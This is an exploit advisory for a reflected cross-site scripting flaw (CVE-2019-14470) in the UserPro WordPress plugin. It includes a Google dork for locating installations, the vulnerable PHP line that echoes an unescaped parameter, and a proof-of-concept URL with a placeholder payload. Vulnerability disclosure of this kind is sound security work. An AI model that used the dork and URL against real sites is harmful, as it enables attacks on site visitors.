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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Date: 25 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470

The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).

There is more vulnerable code in 'UserPro' core, might release that later.

As of today (25 August 2019) this issue is unfixed.

Vulnerable code: (success.php on line 36)

    if (isset($_GET['error'])) {
        echo 'An error occurred: ' . $_GET['error_description'];
    }

    > https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36

Proof-of-Concept:

    https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>